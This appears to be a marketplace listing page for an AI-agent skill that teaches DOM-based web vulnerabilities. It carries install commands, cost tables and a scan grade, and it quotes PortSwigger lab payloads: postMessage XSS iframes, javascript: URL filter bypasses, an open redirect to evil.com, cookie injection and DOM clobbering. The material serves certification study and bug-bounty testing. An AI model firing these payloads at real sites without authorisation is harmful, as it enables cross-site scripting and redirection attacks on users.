Getting it into your agent
It runs from inside its repository, so the clone comes first — what it calls does not travel with the file alone.
git clone --depth 1 https://github.com/akashrpatil/awesome-offensive-security-skillsnpx agentmods add skills/akashrpatil/awesome-offensive-security-skills/dom-vulnsWrote this? Show the measurements
A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.
[](https://agentmods.dev/skills/akashrpatil/awesome-offensive-security-skills/dom-vulns)<a href="https://agentmods.dev/skills/akashrpatil/awesome-offensive-security-skills/dom-vulns"><img src="https://agentmods.dev/badge/skills/akashrpatil/awesome-offensive-security-skills/dom-vulns/github.svg" alt="Measured on agentmods" height="20"></a>Or the 80×15 button, for a site that already has a row of RSS and ATOM ones. Only the verdict fits; the numbers stay here.
<a href="https://agentmods.dev/skills/akashrpatil/awesome-offensive-security-skills/dom-vulns"><img src="https://agentmods.dev/badge/skills/akashrpatil/awesome-offensive-security-skills/dom-vulns.svg" alt="Reviewed on agentmods" width="80" height="20"></a>What it costs to keep this loaded
Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.
| Model | Per session | Once invoked |
|---|---|---|
| Fable 5.1 | $0.00028 | $0.01256 |
| Opus 5 | $0.00014 | $0.00628 |
| Sonnet 5 | $0.00006 | $0.00251 |
| Haiku 4.5 | $0.00003 | $0.00126 |
Grade A, and why
DOM-based Vulnerabilities — Complete Deep Dive scanned grade A with 1 finding against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 12d ago.
A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.
Makes network callslowCapability
Not a fault in itself. Listed so you know the mod talks to something, and to what.
tools: [burp-suite, curl, sqlmap, ffuf, python] This is a copy
100% identical to DOM-based Vulnerabilities — Complete Deep Dive — 0 lines differ, which has more behind it and is treated as the original. This page carries a canonical link to it rather than competing with it.
How it starts
The opening of the file, as written. The whole thing — 138 lines — stays where its author put it; the contents beside it link to each section on GitHub.
DOM-based Vulnerabilities — Complete Deep Dive
Deep-Dive Lab Playbook — Every PortSwigger lab variant with exact payloads, bypass techniques, and zero-day extensions. Difficulty: 🟢 Apprentice 🟡 Practitioner 🔴 Expert
When to Use
- Studying for BSCP (Burp Suite Certified Practitioner) certification
- Testing real-world targets for these vulnerability classes
- Bug bounty hunting — these exact techniques find real bugs
- Building exploitation chains
Prerequisites
- Burp Suite Professional (Community works for most)
- Browser with proxy configured
- Burp Collaborator or interactsh for OOB testing
Workflow
Phase 1: Reconnaissance
- Identify input vectors, parameters, and application behavior.
Phase 2: Exploitation
- Apply standard lab payloads.
Phase 3: Zero-Day Escalation
- Fuzz filters, bypass WAFs, and chain with other vulns.
Lab Playbooks
Lab 1: DOM XSS web messages 🟡 PRACTITIONER
<iframe src="https://TARGET" onload="this.contentWindow.postMessage('<img src=1 onerror=print()>','*')">
Target listens to message event and writes to innerHTML without origin check.
Lab 2: Web messages + JS URL 🟡 PRACTITIONER
<iframe src="https://TARGET" onload="this.contentWindow.postMessage('javascript:print()//http:','*')">
Message handler checks indexOf('http:') — append it after // comment.
Lab 3: Web messages + JSON.parse 🟡 PRACTITIONER
<iframe src="https://TARGET" onload='this.contentWindow.postMessage("{\"type\":\"load-channel\",\"url\":\"javascript:print()\"}","*")'>
Lab 4: DOM open redirection 🟡 PRACTITIONER
https://TARGET/post?postId=1&url=https://evil.com
Lab 5: DOM cookie manipulation 🟡 PRACTITIONER
<iframe src="https://TARGET/product?productId=1&'><script>print()</script>" onload="if(!window.x)this.src='https://TARGET';window.x=1;">
Lab 6: DOM clobbering XSS 🟡 PRACTITIONER
<a id=defaultAvatar><a id=defaultAvatar name=avatar href="1:alert(1)//">
Clobbers defaultAvatar.avatar property used in src attribute.
What ships with it
1 file beside SKILL.md in the same directory: the scripts, references and assets a skill reads on demand. Not counted in the per-session cost; read them before you install if any of them is executable.
What this file has done since we first saw it
Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.
- 12d ago First seen · 138 lines · 28 tokens per session scan A 9436971e8d52
DOM-based Vulnerabilities — Complete Deep Dive is a skill published in the GitHub repository akashrpatil/awesome-offensive-security-skills (5 stars, last pushed 4mo ago), licensed Apache-2.0. It adds 28 tokens to every session and 1,256 once invoked, about $0.0001 per session on Opus 5. A static security scan graded it A with 1 finding (makes network calls). It is 100% identical to DOM-based Vulnerabilities — Complete Deep Dive, differing in 0 lines, and is treated as a copy.
Other skills, from other repositories
DOM-based Vulnerabilities — Complete Deep Dive
Complete PortSwigger deep-dive with exact payloads for every lab variant including zero-day techniques.
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